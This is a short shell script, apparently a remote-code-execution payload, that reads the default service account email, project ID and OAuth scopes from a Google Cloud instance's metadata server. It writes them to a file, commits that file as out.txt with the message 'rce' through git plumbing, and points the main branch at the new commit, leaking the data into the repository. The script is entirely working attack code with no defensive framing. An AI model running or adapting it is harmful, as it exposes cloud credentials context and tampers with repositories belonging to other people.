#!/bin/sh
EMAIL=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email' 2>/dev/null)
PROJ=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/project/project-id' 2>/dev/null)
SCOPE=$(curl -s --max-time 3 -H 'Metadata-Flavor: Google' 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes' 2>/dev/null)
printf "E:%s P:%s S:%s" "$EMAIL" "$PROJ" "$SCOPE" > /tmp/imds.txt
git update-index --add --cacheinfo 100644,$(git hash-object -w /tmp/imds.txt),out.txt
HEAD=$(git rev-parse HEAD)
TREE=$(git write-tree)
COMMIT=$(git commit-tree "$TREE" -p "$HEAD" -m "rce")
git update-ref refs/heads/main "$COMMIT"